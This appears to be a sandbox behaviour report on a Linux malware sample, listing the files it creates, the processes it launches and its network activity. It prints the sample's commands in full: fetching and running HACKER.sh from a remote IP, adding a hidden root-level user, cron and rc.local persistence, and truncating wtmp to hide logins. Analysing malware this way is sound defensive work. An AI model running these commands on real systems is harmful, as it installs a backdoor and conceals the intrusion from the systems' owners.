Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/cron.hourly/0
- /etc/cron.daily/0
- /etc/cron.weekly/0
- /etc/cron.monthly/0
- /etc/rc.local
Malicious functions:
Launches processes:
- sh -c wget --quiet http://104.168.170.196/LLLOL/HACKER.sh; chmod +x HACKER.sh; bash HACKER.sh; rm -rf HACKER.sh
- wget --quiet http://104.168.170.196/LLLOL/HACKER.sh
- chmod +x HACKER.sh
- bash HACKER.sh
- useradd -u 0 -g 0 -o -l -d /root -M -p $1$W6IkoTkd$9Xtkh.G1fuuOakzOx3ma91 selinux
- nscd -i passwd
- nscd -i group
- useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$W6IkoTkd$9Xtkh.G1fuuOakzOx3ma91 selinux
- chmod +x /etc/cron.hourly/0
- chmod +x /etc/cron.daily/0
- chmod +x /etc/cron.weekly/0
- chmod 777 /etc/cron.monthly/0
- chmod +x /etc/rc.local
- head -c -384 /var/log/wtmp
- mv .wtmp /var/log/wtmp
- chmod 664 /var/log/wtmp
- chown root:utmp /var/log/wtmp
- rm -rf HACKER.sh
Performs operations with the file system:
Modifies file access rights:
- /root/HACKER.sh
- /etc/passwd+
- /etc/shadow+
- /etc/subuid+
- /etc/subgid+
- /etc/cron.hourly/0
- /etc/cron.daily/0
- /etc/cron.weekly/0
- /etc/cron.monthly/0
- /etc/rc.local
- /var/log/wtmp
Creates symlinks:
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
- /etc/shadow.lock
Creates or modifies files:
- /root/HACKER.sh
- /etc/.pwd.lock
- /etc/passwd.713
- /etc/group.713
- /etc/gshadow.713
- /etc/subuid.713
- /etc/subgid.713
- /etc/shadow.713
- /etc/passwd-
- /etc/passwd+
- /etc/shadow-
- /etc/shadow+
- /etc/subuid-
- /etc/subuid+
- /etc/subgid-
- /etc/subgid+
- /root/.wtmp
Deletes files:
- /etc/passwd.713
- /etc/group.713
- /etc/gshadow.713
- /etc/subuid.713
- /etc/subgid.713
- /etc/shadow.713
- /etc/shadow.lock
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
- /root/HACKER.sh
Network activity:
HTTP GET requests:
- 10#.###.#70.196/LLLOL/HACKER.sh
Other:
Collects RAM information